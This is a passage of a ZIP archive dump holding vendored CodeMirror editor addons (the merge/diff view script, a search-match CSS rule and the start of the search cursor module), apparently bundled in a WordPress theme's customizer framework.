.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt { display: none; }
PK     N\^o  ^o  I  inc/customizer/framework/assets/js/vendor/codemirror/addon/merge/merge.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// declare global: diff_match_patch, DIFF_INSERT, DIFF_DELETE, DIFF_EQUAL

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror")); // Note non-packaged dependency diff_match_patch
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "diff_match_patch"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var Pos = CodeMirror.Pos;
  var svgNS = "http://www.w3.org/2000/svg";

  function DiffView(mv, type) {
    this.mv = mv;
    this.type = type;
    this.classes = type == "left"
      ? {chunk: "CodeMirror-merge-l-chunk",
         start: "CodeMirror-merge-l-chunk-start",
         end: "CodeMirror-merge-l-chunk-end",
         insert: "CodeMirror-merge-l-inserted",
         del: "CodeMirror-merge-l-deleted",
         connect: "CodeMirror-merge-l-connect"}
      : {chunk: "CodeMirror-merge-r-chunk",
         start: "CodeMirror-merge-r-chunk-start",
         end: "CodeMirror-merge-r-chunk-end",
         insert: "CodeMirror-merge-r-inserted",
         del: "CodeMirror-merge-r-deleted",
         connect: "CodeMirror-merge-r-connect"};
  }

  DiffView.prototype = {
    constructor: DiffView,
    init: function(pane, orig, options) {
      this.edit = this.mv.edit;
      (this.edit.state.diffViews || (this.edit.state.diffViews = [])).push(this);
      this.orig = CodeMirror(pane, copyObj({value: orig, readOnly: !this.mv.options.allowEditingOriginals}, copyObj(options)));
      this.orig.state.diffViews = [this];

      this.diff = getDiff(asString(orig), asString(options.value));
      this.chunks = getChunks(this.diff);
      this.diffOutOfDate = this.dealigned = false;

      this.showDifferences = options.showDifferences !== false;
      this.forceUpdate = registerUpdate(this);
      setScrollLock(this, true, false);
      registerScroll(this);
    },
    setShowDifferences: function(val) {
      val = val !== false;
      if (val != this.showDifferences) {
        this.showDifferences = val;
        this.forceUpdate("full");
      }
    }
  };

  function ensureDiff(dv) {
    if (dv.diffOutOfDate) {
      dv.diff = getDiff(dv.orig.getValue(), dv.edit.getValue());
      dv.chunks = getChunks(dv.diff);
      dv.diffOutOfDate = false;
      CodeMirror.signal(dv.edit, "updateDiff", dv.diff);
    }
  }

  var updating = false;
  function registerUpdate(dv) {
    var edit = {from: 0, to: 0, marked: []};
    var orig = {from: 0, to: 0, marked: []};
    var debounceChange, updatingFast = false;
    function update(mode) {
      updating = true;
      updatingFast = false;
      if (mode == "full") {
        if (dv.svg) clear(dv.svg);
        if (dv.copyButtons) clear(dv.copyButtons);
        clearMarks(dv.edit, edit.marked, dv.classes);
        clearMarks(dv.orig, orig.marked, dv.classes);
        edit.from = edit.to = orig.from = orig.to = 0;
      }
      ensureDiff(dv);
      if (dv.showDifferences) {
        updateMarks(dv.edit, dv.diff, edit, DIFF_INSERT, dv.classes);
        updateMarks(dv.orig, dv.diff, orig, DIFF_DELETE, dv.classes);
      }
      makeConnections(dv);

      if (dv.mv.options.connect == "align")
        alignChunks(dv);
      updating = false;
    }
    function setDealign(fast) {
      if (updating) return;
      dv.dealigned = true;
      set(fast);
    }
    function set(fast) {
      if (updating || updatingFast) return;
      clearTimeout(debounceChange);
      if (fast === true) updatingFast = true;
      debounceChange = setTimeout(update, fast === true ? 20 : 250);
    }
    function change(_cm, change) {
      if (!dv.diffOutOfDate) {
        dv.diffOutOfDate = true;
        edit.from = edit.to = orig.from = orig.to = 0;
      }
      // Update faster when a line was added/removed
      setDealign(change.text.length - 1 != change.to.line - change.from.line);
    }
    dv.edit.on("change", change);
    dv.orig.on("change", change);
    dv.edit.on("markerAdded", setDealign);
    dv.edit.on("markerCleared", setDealign);
    dv.orig.on("markerAdded", setDealign);
    dv.orig.on("markerCleared", setDealign);
    dv.edit.on("viewportChange", function() { set(false); });
    dv.orig.on("viewportChange", function() { set(false); });
    update();
    return update;
  }

  function registerScroll(dv) {
    dv.edit.on("scroll", function() {
      syncScroll(dv, DIFF_INSERT) && makeConnections(dv);
    });
    dv.orig.on("scroll", function() {
      syncScroll(dv, DIFF_DELETE) && makeConnections(dv);
    });
  }

  function syncScroll(dv, type) {
    // Change handler will do a refresh after a timeout when diff is out of date
    if (dv.diffOutOfDate) return false;
    if (!dv.lockScroll) return true;
    var editor, other, now = +new Date;
    if (type == DIFF_INSERT) { editor = dv.edit; other = dv.orig; }
    else { editor = dv.orig; other = dv.edit; }
    // Don't take action if the position of this editor was recently set
    // (to prevent feedback loops)
    if (editor.state.scrollSetBy == dv && (editor.state.scrollSetAt || 0) + 50 > now) return false;

    var sInfo = editor.getScrollInfo();
    if (dv.mv.options.connect == "align") {
      targetPos = sInfo.top;
    } else {
      var halfScreen = .5 * sInfo.clientHeight, midY = sInfo.top + halfScreen;
      var mid = editor.lineAtHeight(midY, "local");
      var around = chunkBoundariesAround(dv.chunks, mid, type == DIFF_INSERT);
      var off = getOffsets(editor, type == DIFF_INSERT ? around.edit : around.orig);
      var offOther = getOffsets(other, type == DIFF_INSERT ? around.orig : around.edit);
      var ratio = (midY - off.top) / (off.bot - off.top);
      var targetPos = (offOther.top - halfScreen) + ratio * (offOther.bot - offOther.top);

      var botDist, mix;
      // Some careful tweaking to make sure no space is left out of view
      // when scrolling to top or bottom.
      if (targetPos > sInfo.top && (mix = sInfo.top / halfScreen) < 1) {
        targetPos = targetPos * mix + sInfo.top * (1 - mix);
      } else if ((botDist = sInfo.height - sInfo.clientHeight - sInfo.top) < halfScreen) {
        var otherInfo = other.getScrollInfo();
        var botDistOther = otherInfo.height - otherInfo.clientHeight - targetPos;
        if (botDistOther > botDist && (mix = botDist / halfScreen) < 1)
          targetPos = targetPos * mix + (otherInfo.height - otherInfo.clientHeight - botDist) * (1 - mix);
      }
    }

    other.scrollTo(sInfo.left, targetPos);
    other.state.scrollSetAt = now;
    other.state.scrollSetBy = dv;
    return true;
  }

  function getOffsets(editor, around) {
    var bot = around.after;
    if (bot == null) bot = editor.lastLine() + 1;
    return {top: editor.heightAtLine(around.before || 0, "local"),
            bot: editor.heightAtLine(bot, "local")};
  }

  function setScrollLock(dv, val, action) {
    dv.lockScroll = val;
    if (val && action != false) syncScroll(dv, DIFF_INSERT) && makeConnections(dv);
    dv.lockButton.innerHTML = val ? "\u21db\u21da" : "\u21db&nbsp;&nbsp;\u21da";
  }

  // Updating the marks for editor content

  function clearMarks(editor, arr, classes) {
    for (var i = 0; i < arr.length; ++i) {
      var mark = arr[i];
      if (mark instanceof CodeMirror.TextMarker) {
        mark.clear();
      } else if (mark.parent) {
        editor.removeLineClass(mark, "background", classes.chunk);
        editor.removeLineClass(mark, "background", classes.start);
        editor.removeLineClass(mark, "background", classes.end);
      }
    }
    arr.length = 0;
  }

  // FIXME maybe add a margin around viewport to prevent too many updates
  function updateMarks(editor, diff, state, type, classes) {
    var vp = editor.getViewport();
    editor.operation(function() {
      if (state.from == state.to || vp.from - state.to > 20 || state.from - vp.to > 20) {
        clearMarks(editor, state.marked, classes);
        markChanges(editor, diff, type, state.marked, vp.from, vp.to, classes);
        state.from = vp.from; state.to = vp.to;
      } else {
        if (vp.from < state.from) {
          markChanges(editor, diff, type, state.marked, vp.from, state.from, classes);
          state.from = vp.from;
        }
        if (vp.to > state.to) {
          markChanges(editor, diff, type, state.marked, state.to, vp.to, classes);
          state.to = vp.to;
        }
      }
    });
  }

  function markChanges(editor, diff, type, marks, from, to, classes) {
    var pos = Pos(0, 0);
    var top = Pos(from, 0), bot = editor.clipPos(Pos(to - 1));
    var cls = type == DIFF_DELETE ? classes.del : classes.insert;
    function markChunk(start, end) {
      var bfrom = Math.max(from, start), bto = Math.min(to, end);
      for (var i = bfrom; i < bto; ++i) {
        var line = editor.addLineClass(i, "background", classes.chunk);
        if (i == start) editor.addLineClass(line, "background", classes.start);
        if (i == end - 1) editor.addLineClass(line, "background", classes.end);
        marks.push(line);
      }
      // When the chunk is empty, make sure a horizontal line shows up
      if (start == end && bfrom == end && bto == end) {
        if (bfrom)
          marks.push(editor.addLineClass(bfrom - 1, "background", classes.end));
        else
          marks.push(editor.addLineClass(bfrom, "background", classes.start));
      }
    }

    var chunkStart = 0;
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i], tp = part[0], str = part[1];
      if (tp == DIFF_EQUAL) {
        var cleanFrom = pos.line + (startOfLineClean(diff, i) ? 0 : 1);
        moveOver(pos, str);
        var cleanTo = pos.line + (endOfLineClean(diff, i) ? 1 : 0);
        if (cleanTo > cleanFrom) {
          if (i) markChunk(chunkStart, cleanFrom);
          chunkStart = cleanTo;
        }
      } else {
        if (tp == type) {
          var end = moveOver(pos, str, true);
          var a = posMax(top, pos), b = posMin(bot, end);
          if (!posEq(a, b))
            marks.push(editor.markText(a, b, {className: cls}));
          pos = end;
        }
      }
    }
    if (chunkStart <= pos.line) markChunk(chunkStart, pos.line + 1);
  }

  // Updating the gap between editor and original

  function makeConnections(dv) {
    if (!dv.showDifferences) return;

    if (dv.svg) {
      clear(dv.svg);
      var w = dv.gap.offsetWidth;
      attrs(dv.svg, "width", w, "height", dv.gap.offsetHeight);
    }
    if (dv.copyButtons) clear(dv.copyButtons);

    var vpEdit = dv.edit.getViewport(), vpOrig = dv.orig.getViewport();
    var sTopEdit = dv.edit.getScrollInfo().top, sTopOrig = dv.orig.getScrollInfo().top;
    for (var i = 0; i < dv.chunks.length; i++) {
      var ch = dv.chunks[i];
      if (ch.editFrom <= vpEdit.to && ch.editTo >= vpEdit.from &&
          ch.origFrom <= vpOrig.to && ch.origTo >= vpOrig.from)
        drawConnectorsForChunk(dv, ch, sTopOrig, sTopEdit, w);
    }
  }

  function getMatchingOrigLine(editLine, chunks) {
    var editStart = 0, origStart = 0;
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      if (chunk.editTo > editLine && chunk.editFrom <= editLine) return null;
      if (chunk.editFrom > editLine) break;
      editStart = chunk.editTo;
      origStart = chunk.origTo;
    }
    return origStart + (editLine - editStart);
  }

  function findAlignedLines(dv, other) {
    var linesToAlign = [];
    for (var i = 0; i < dv.chunks.length; i++) {
      var chunk = dv.chunks[i];
      linesToAlign.push([chunk.origTo, chunk.editTo, other ? getMatchingOrigLine(chunk.editTo, other.chunks) : null]);
    }
    if (other) {
      for (var i = 0; i < other.chunks.length; i++) {
        var chunk = other.chunks[i];
        for (var j = 0; j < linesToAlign.length; j++) {
          var align = linesToAlign[j];
          if (align[1] == chunk.editTo) {
            j = -1;
            break;
          } else if (align[1] > chunk.editTo) {
            break;
          }
        }
        if (j > -1)
          linesToAlign.splice(j - 1, 0, [getMatchingOrigLine(chunk.editTo, dv.chunks), chunk.editTo, chunk.origTo]);
      }
    }
    return linesToAlign;
  }

  function alignChunks(dv, force) {
    if (!dv.dealigned && !force) return;
    if (!dv.orig.curOp) return dv.orig.operation(function() {
      alignChunks(dv, force);
    });

    dv.dealigned = false;
    var other = dv.mv.left == dv ? dv.mv.right : dv.mv.left;
    if (other) {
      ensureDiff(other);
      other.dealigned = false;
    }
    var linesToAlign = findAlignedLines(dv, other);

    // Clear old aligners
    var aligners = dv.mv.aligners;
    for (var i = 0; i < aligners.length; i++)
      aligners[i].clear();
    aligners.length = 0;

    var cm = [dv.orig, dv.edit], scroll = [];
    if (other) cm.push(other.orig);
    for (var i = 0; i < cm.length; i++)
      scroll.push(cm[i].getScrollInfo().top);

    for (var ln = 0; ln < linesToAlign.length; ln++)
      alignLines(cm, linesToAlign[ln], aligners);

    for (var i = 0; i < cm.length; i++)
      cm[i].scrollTo(null, scroll[i]);
  }

  function alignLines(cm, lines, aligners) {
    var maxOffset = 0, offset = [];
    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {
      var off = cm[i].heightAtLine(lines[i], "local");
      offset[i] = off;
      maxOffset = Math.max(maxOffset, off);
    }
    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {
      var diff = maxOffset - offset[i];
      if (diff > 1)
        aligners.push(padAbove(cm[i], lines[i], diff));
    }
  }

  function padAbove(cm, line, size) {
    var above = true;
    if (line > cm.lastLine()) {
      line--;
      above = false;
    }
    var elt = document.createElement("div");
    elt.className = "CodeMirror-merge-spacer";
    elt.style.height = size + "px"; elt.style.minWidth = "1px";
    return cm.addLineWidget(line, elt, {height: size, above: above});
  }

  function drawConnectorsForChunk(dv, chunk, sTopOrig, sTopEdit, w) {
    var flip = dv.type == "left";
    var top = dv.orig.heightAtLine(chunk.origFrom, "local") - sTopOrig;
    if (dv.svg) {
      var topLpx = top;
      var topRpx = dv.edit.heightAtLine(chunk.editFrom, "local") - sTopEdit;
      if (flip) { var tmp = topLpx; topLpx = topRpx; topRpx = tmp; }
      var botLpx = dv.orig.heightAtLine(chunk.origTo, "local") - sTopOrig;
      var botRpx = dv.edit.heightAtLine(chunk.editTo, "local") - sTopEdit;
      if (flip) { var tmp = botLpx; botLpx = botRpx; botRpx = tmp; }
      var curveTop = " C " + w/2 + " " + topRpx + " " + w/2 + " " + topLpx + " " + (w + 2) + " " + topLpx;
      var curveBot = " C " + w/2 + " " + botLpx + " " + w/2 + " " + botRpx + " -1 " + botRpx;
      attrs(dv.svg.appendChild(document.createElementNS(svgNS, "path")),
            "d", "M -1 " + topRpx + curveTop + " L " + (w + 2) + " " + botLpx + curveBot + " z",
            "class", dv.classes.connect);
    }
    if (dv.copyButtons) {
      var copy = dv.copyButtons.appendChild(elt("div", dv.type == "left" ? "\u21dd" : "\u21dc",
                                                "CodeMirror-merge-copy"));
      var editOriginals = dv.mv.options.allowEditingOriginals;
      copy.title = editOriginals ? "Push to left" : "Revert chunk";
      copy.chunk = chunk;
      copy.style.top = top + "px";

      if (editOriginals) {
        var topReverse = dv.orig.heightAtLine(chunk.editFrom, "local") - sTopEdit;
        var copyReverse = dv.copyButtons.appendChild(elt("div", dv.type == "right" ? "\u21dd" : "\u21dc",
                                                         "CodeMirror-merge-copy-reverse"));
        copyReverse.title = "Push to right";
        copyReverse.chunk = {editFrom: chunk.origFrom, editTo: chunk.origTo,
                             origFrom: chunk.editFrom, origTo: chunk.editTo};
        copyReverse.style.top = topReverse + "px";
        dv.type == "right" ? copyReverse.style.left = "2px" : copyReverse.style.right = "2px";
      }
    }
  }

  function copyChunk(dv, to, from, chunk) {
    if (dv.diffOutOfDate) return;
    to.replaceRange(from.getRange(Pos(chunk.origFrom, 0), Pos(chunk.origTo, 0)),
                         Pos(chunk.editFrom, 0), Pos(chunk.editTo, 0));
  }

  // Merge view, containing 0, 1, or 2 diff views.

  var MergeView = CodeMirror.MergeView = function(node, options) {
    if (!(this instanceof MergeView)) return new MergeView(node, options);

    this.options = options;
    var origLeft = options.origLeft, origRight = options.origRight == null ? options.orig : options.origRight;

    var hasLeft = origLeft != null, hasRight = origRight != null;
    var panes = 1 + (hasLeft ? 1 : 0) + (hasRight ? 1 : 0);
    var wrap = [], left = this.left = null, right = this.right = null;
    var self = this;

    if (hasLeft) {
      left = this.left = new DiffView(this, "left");
      var leftPane = elt("div", null, "CodeMirror-merge-pane");
      wrap.push(leftPane);
      wrap.push(buildGap(left));
    }

    var editPane = elt("div", null, "CodeMirror-merge-pane");
    wrap.push(editPane);

    if (hasRight) {
      right = this.right = new DiffView(this, "right");
      wrap.push(buildGap(right));
      var rightPane = elt("div", null, "CodeMirror-merge-pane");
      wrap.push(rightPane);
    }

    (hasRight ? rightPane : editPane).className += " CodeMirror-merge-pane-rightmost";

    wrap.push(elt("div", null, null, "height: 0; clear: both;"));

    var wrapElt = this.wrap = node.appendChild(elt("div", wrap, "CodeMirror-merge CodeMirror-merge-" + panes + "pane"));
    this.edit = CodeMirror(editPane, copyObj(options));

    if (left) left.init(leftPane, origLeft, options);
    if (right) right.init(rightPane, origRight, options);

    if (options.collapseIdentical)
      this.editor().operation(function() {
        collapseIdenticalStretches(self, options.collapseIdentical);
      });
    if (options.connect == "align") {
      this.aligners = [];
      alignChunks(this.left || this.right, true);
    }

    var onResize = function() {
      if (left) makeConnections(left);
      if (right) makeConnections(right);
    };
    CodeMirror.on(window, "resize", onResize);
    var resizeInterval = setInterval(function() {
      for (var p = wrapElt.parentNode; p && p != document.body; p = p.parentNode) {}
      if (!p) { clearInterval(resizeInterval); CodeMirror.off(window, "resize", onResize); }
    }, 5000);
  };

  function buildGap(dv) {
    var lock = dv.lockButton = elt("div", null, "CodeMirror-merge-scrolllock");
    lock.title = "Toggle locked scrolling";
    var lockWrap = elt("div", [lock], "CodeMirror-merge-scrolllock-wrap");
    CodeMirror.on(lock, "click", function() { setScrollLock(dv, !dv.lockScroll); });
    var gapElts = [lockWrap];
    if (dv.mv.options.revertButtons !== false) {
      dv.copyButtons = elt("div", null, "CodeMirror-merge-copybuttons-" + dv.type);
      CodeMirror.on(dv.copyButtons, "click", function(e) {
        var node = e.target || e.srcElement;
        if (!node.chunk) return;
        if (node.className == "CodeMirror-merge-copy-reverse") {
          copyChunk(dv, dv.orig, dv.edit, node.chunk);
          return;
        }
        copyChunk(dv, dv.edit, dv.orig, node.chunk);
      });
      gapElts.unshift(dv.copyButtons);
    }
    if (dv.mv.options.connect != "align") {
      var svg = document.createElementNS && document.createElementNS(svgNS, "svg");
      if (svg && !svg.createSVGRect) svg = null;
      dv.svg = svg;
      if (svg) gapElts.push(svg);
    }

    return dv.gap = elt("div", gapElts, "CodeMirror-merge-gap");
  }

  MergeView.prototype = {
    constuctor: MergeView,
    editor: function() { return this.edit; },
    rightOriginal: function() { return this.right && this.right.orig; },
    leftOriginal: function() { return this.left && this.left.orig; },
    setShowDifferences: function(val) {
      if (this.right) this.right.setShowDifferences(val);
      if (this.left) this.left.setShowDifferences(val);
    },
    rightChunks: function() {
      if (this.right) { ensureDiff(this.right); return this.right.chunks; }
    },
    leftChunks: function() {
      if (this.left) { ensureDiff(this.left); return this.left.chunks; }
    }
  };

  function asString(obj) {
    if (typeof obj == "string") return obj;
    else return obj.getValue();
  }

  // Operations on diffs

  var dmp = new diff_match_patch();
  function getDiff(a, b) {
    var diff = dmp.diff_main(a, b);
    dmp.diff_cleanupSemantic(diff);
    // The library sometimes leaves in empty parts, which confuse the algorithm
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i];
      if (!part[1]) {
        diff.splice(i--, 1);
      } else if (i && diff[i - 1][0] == part[0]) {
        diff.splice(i--, 1);
        diff[i][1] += part[1];
      }
    }
    return diff;
  }

  function getChunks(diff) {
    var chunks = [];
    var startEdit = 0, startOrig = 0;
    var edit = Pos(0, 0), orig = Pos(0, 0);
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i], tp = part[0];
      if (tp == DIFF_EQUAL) {
        var startOff = startOfLineClean(diff, i) ? 0 : 1;
        var cleanFromEdit = edit.line + startOff, cleanFromOrig = orig.line + startOff;
        moveOver(edit, part[1], null, orig);
        var endOff = endOfLineClean(diff, i) ? 1 : 0;
        var cleanToEdit = edit.line + endOff, cleanToOrig = orig.line + endOff;
        if (cleanToEdit > cleanFromEdit) {
          if (i) chunks.push({origFrom: startOrig, origTo: cleanFromOrig,
                              editFrom: startEdit, editTo: cleanFromEdit});
          startEdit = cleanToEdit; startOrig = cleanToOrig;
        }
      } else {
        moveOver(tp == DIFF_INSERT ? edit : orig, part[1]);
      }
    }
    if (startEdit <= edit.line || startOrig <= orig.line)
      chunks.push({origFrom: startOrig, origTo: orig.line + 1,
                   editFrom: startEdit, editTo: edit.line + 1});
    return chunks;
  }

  function endOfLineClean(diff, i) {
    if (i == diff.length - 1) return true;
    var next = diff[i + 1][1];
    if (next.length == 1 || next.charCodeAt(0) != 10) return false;
    if (i == diff.length - 2) return true;
    next = diff[i + 2][1];
    return next.length > 1 && next.charCodeAt(0) == 10;
  }

  function startOfLineClean(diff, i) {
    if (i == 0) return true;
    var last = diff[i - 1][1];
    if (last.charCodeAt(last.length - 1) != 10) return false;
    if (i == 1) return true;
    last = diff[i - 2][1];
    return last.charCodeAt(last.length - 1) == 10;
  }

  function chunkBoundariesAround(chunks, n, nInEdit) {
    var beforeE, afterE, beforeO, afterO;
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      var fromLocal = nInEdit ? chunk.editFrom : chunk.origFrom;
      var toLocal = nInEdit ? chunk.editTo : chunk.origTo;
      if (afterE == null) {
        if (fromLocal > n) { afterE = chunk.editFrom; afterO = chunk.origFrom; }
        else if (toLocal > n) { afterE = chunk.editTo; afterO = chunk.origTo; }
      }
      if (toLocal <= n) { beforeE = chunk.editTo; beforeO = chunk.origTo; }
      else if (fromLocal <= n) { beforeE = chunk.editFrom; beforeO = chunk.origFrom; }
    }
    return {edit: {before: beforeE, after: afterE}, orig: {before: beforeO, after: afterO}};
  }

  function collapseSingle(cm, from, to) {
    cm.addLineClass(from, "wrap", "CodeMirror-merge-collapsed-line");
    var widget = document.createElement("span");
    widget.className = "CodeMirror-merge-collapsed-widget";
    widget.title = "Identical text collapsed. Click to expand.";
    var mark = cm.markText(Pos(from, 0), Pos(to - 1), {
      inclusiveLeft: true,
      inclusiveRight: true,
      replacedWith: widget,
      clearOnEnter: true
    });
    function clear() {
      mark.clear();
      cm.removeLineClass(from, "wrap", "CodeMirror-merge-collapsed-line");
    }
    CodeMirror.on(widget, "click", clear);
    return {mark: mark, clear: clear};
  }

  function collapseStretch(size, editors) {
    var marks = [];
    function clear() {
      for (var i = 0; i < marks.length; i++) marks[i].clear();
    }
    for (var i = 0; i < editors.length; i++) {
      var editor = editors[i];
      var mark = collapseSingle(editor.cm, editor.line, editor.line + size);
      marks.push(mark);
      mark.mark.on("clear", clear);
    }
    return marks[0].mark;
  }

  function unclearNearChunks(dv, margin, off, clear) {
    for (var i = 0; i < dv.chunks.length; i++) {
      var chunk = dv.chunks[i];
      for (var l = chunk.editFrom - margin; l < chunk.editTo + margin; l++) {
        var pos = l + off;
        if (pos >= 0 && pos < clear.length) clear[pos] = false;
      }
    }
  }

  function collapseIdenticalStretches(mv, margin) {
    if (typeof margin != "number") margin = 2;
    var clear = [], edit = mv.editor(), off = edit.firstLine();
    for (var l = off, e = edit.lastLine(); l <= e; l++) clear.push(true);
    if (mv.left) unclearNearChunks(mv.left, margin, off, clear);
    if (mv.right) unclearNearChunks(mv.right, margin, off, clear);

    for (var i = 0; i < clear.length; i++) {
      if (clear[i]) {
        var line = i + off;
        for (var size = 1; i < clear.length - 1 && clear[i + 1]; i++, size++) {}
        if (size > margin) {
          var editors = [{line: line, cm: edit}];
          if (mv.left) editors.push({line: getMatchingOrigLine(line, mv.left.chunks), cm: mv.left.orig});
          if (mv.right) editors.push({line: getMatchingOrigLine(line, mv.right.chunks), cm: mv.right.orig});
          var mark = collapseStretch(size, editors);
          if (mv.options.onCollapse) mv.options.onCollapse(mv, line, size, mark);
        }
      }
    }
  }

  // General utilities

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) e.className = className;
    if (style) e.style.cssText = style;
    if (typeof content == "string") e.appendChild(document.createTextNode(content));
    else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);
    return e;
  }

  function clear(node) {
    for (var count = node.childNodes.length; count > 0; --count)
      node.removeChild(node.firstChild);
  }

  function attrs(elt) {
    for (var i = 1; i < arguments.length; i += 2)
      elt.setAttribute(arguments[i], arguments[i+1]);
  }

  function copyObj(obj, target) {
    if (!target) target = {};
    for (var prop in obj) if (obj.hasOwnProperty(prop)) target[prop] = obj[prop];
    return target;
  }

  function moveOver(pos, str, copy, other) {
    var out = copy ? Pos(pos.line, pos.ch) : pos, at = 0;
    for (;;) {
      var nl = str.indexOf("\n", at);
      if (nl == -1) break;
      ++out.line;
      if (other) ++other.line;
      at = nl + 1;
    }
    out.ch = (at ? 0 : out.ch) + (str.length - at);
    if (other) other.ch = (at ? 0 : other.ch) + (str.length - at);
    return out;
  }

  function posMin(a, b) { return (a.line - b.line || a.ch - b.ch) < 0 ? a : b; }
  function posMax(a, b) { return (a.line - b.line || a.ch - b.ch) > 0 ? a : b; }
  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }

  function findPrevDiff(chunks, start, isOrig) {
    for (var i = chunks.length - 1; i >= 0; i--) {
      var chunk = chunks[i];
      var to = (isOrig ? chunk.origTo : chunk.editTo) - 1;
      if (to < start) return to;
    }
  }

  function findNextDiff(chunks, start, isOrig) {
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      var from = (isOrig ? chunk.origFrom : chunk.editFrom);
      if (from > start) return from;
    }
  }

  function goNearbyDiff(cm, dir) {
    var found = null, views = cm.state.diffViews, line = cm.getCursor().line;
    if (views) for (var i = 0; i < views.length; i++) {
      var dv = views[i], isOrig = cm == dv.orig;
      ensureDiff(dv);
      var pos = dir < 0 ? findPrevDiff(dv.chunks, line, isOrig) : findNextDiff(dv.chunks, line, isOrig);
      if (pos != null && (found == null || (dir < 0 ? pos > found : pos < found)))
        found = pos;
    }
    if (found != null)
      cm.setCursor(found, 0);
    else
      return CodeMirror.Pass;
  }

  CodeMirror.commands.goNextDiff = function(cm) {
    return goNearbyDiff(cm, 1);
  };
  CodeMirror.commands.goPrevDiff = function(cm) {
    return goNearbyDiff(cm, -1);
  };
});
PK     N\&      X  inc/customizer/framework/assets/js/vendor/codemirror/addon/search/matchesonscrollbar.cssnu [        .CodeMirror-search-match {
  background: gold;
  border-top: 1px solid orange;
  border-bottom: 1px solid orange;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  opacity: .5;
}
PK     N\	e+  +  Q  inc/customizer/framework/assets/js/vendor/codemirror/addon/search/searchcursor.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var Pos = CodeMirror.Pos;

  function SearchCursor(doc, query, pos, caseFold) {
    this.atOccurrence = false; this.doc = doc;
    if (caseFold == null && typeof query == "string") caseFold = false;

    pos = pos ? doc.clipPos(pos) : Pos(0, 0);
    this.pos = {from: pos, to: pos};

    // The matches method is filled in based on the type of query.
    // It takes a position and a direction, and returns an object
    // describing the next occurrence of the query, or null if no
    // more matches were found.
    if (typeof query != "string") { // Regexp match
      if (!query.global) query = new RegExp(query.source, query.ignoreCase ? "ig" : "g");
      this.matches = function(reverse, pos) {
        if (reverse) {
          query.lastIndex = 0;
          var line = doc.getLine(pos.line).slice(0, pos.ch), cutOff = 0, match, start;
          for (;;) {
            query.lastIndex = cutOff;
            var newMatch = query.exec(line);
            if (!newMatch) break;
            match = newMatch;
            start = match.index;
            cutOff = match.index + (match[0].length || 1);
            if (cutOff == line.length) break;
          }
          var matchLen = (match && match[0].length) || 0;
          if (!matchLen) {
            if (start == 0 && line.length == 0) {match = undefined;}
            else if (start != doc.getLine(pos.line).length) {
              matchLen++;
            }
          }
        } else {
          query.lastIndex = pos.ch;
          var line = doc.getLine(pos.line), match = query.exec(line);
          var matchLen = (match && match[0].length) || 0;
          var start = match && match.index;
          if (start + matchLen != line.length && !matchLen) matchLen = 1;
        }
        if (match && matchLen)
          return {from: Pos(pos.line, start),
                  to: Pos(pos.line, start + matchLen),
                  match: match};
      };
    } else { // String query
      var origQuery = query;
      if (caseFold) query = query.toLowerCase();
      var fold = caseFold ? function(str){return str.toLowerCase();} : function(str){return str;};
      var target = query.split("\n");
      // Different methods for single-line and multi-line queries
      if (target.length == 1) {
        if (!query.length) {
          // Empty string would match anything and never progress, so
          // we define it to match nothing instead.
          this.matches = function() {};
        } else {
          this.matches = function(reverse, pos) {
            if (reverse) {
              var orig = doc.getLine(pos.line).slice(0, pos.ch), line = fold(orig);
              var match = line.lastIndexOf(query);
              if (match > -1) {
                match = adjustPos(orig, line, match);
                return {from: Pos(pos.line, match), to: Pos(pos.line, match + origQuery.length)};
              }
             } else {
               var orig = doc.getLine(pos.line).slice(pos.ch), line = fold(orig);
               var match = line.indexOf(query);
               if (match > -1) {
                 match = adjustPos(orig, line, match) + pos.ch;
                 return {from: Pos(pos.line, match), to: Pos(pos.line, match + origQuery.length)};
               }
            }
          };
        }
      } else {
        var origTarget = origQuery.split("\n");
        this.matches = function(reverse, pos) {
          var last = target.length - 1;
          if (reverse) {
            if (pos.line - (target.length - 1) < doc.firstLine()) return;
            if (fold(doc.getLine(pos.line).slice(0, origTarget[last].length)) != target[target.length - 1]) return;
            var to = Pos(pos.line, origTarget[last].length);
            for (var ln = pos.line - 1, i = last - 1; i >= 1; --i, --ln)
              if (target[i] != fold(doc.getLine(ln))) return;
            var line = doc.getLine(ln), cut = line.length - origTarget[0].length;
            if (fold(line.slice(cut)) != target[0]) return;
            return {from: Pos(ln, cut), to: to};
          } else {
            if (pos.line + (target.length - 1) > doc.lastLine()) return;
            var line = doc.getLine(pos.line), cut = line.length - origTarget[0].length;
            if (fold(line.slice(cut)) != target[0]) return;
            var from = Pos(pos.line, cut);
            for (var ln = pos.line + 1, i = 1; i < last; ++i, ++ln)
              if (target[i] != fold(doc.getLine(ln))) return;
            if (fold(doc.getLine(ln).slice(0, origTarget[last].length)) != target[last]) return;
            return {from: from, to: Pos(ln, origTarget[last].length)};
          }
        };
      }
    }
  }

  SearchCursor.prototype = {
    findNext: function() {return this.find(false);},
    findPrevious: function() {return this.find(true);},

    find: function(reverse) {
      var self = this, pos = this.doc.clipPos(reverse ? this.pos.from : this.pos.to);
      function savePosAndFail(line) {
        var pos = Pos(line, 0);
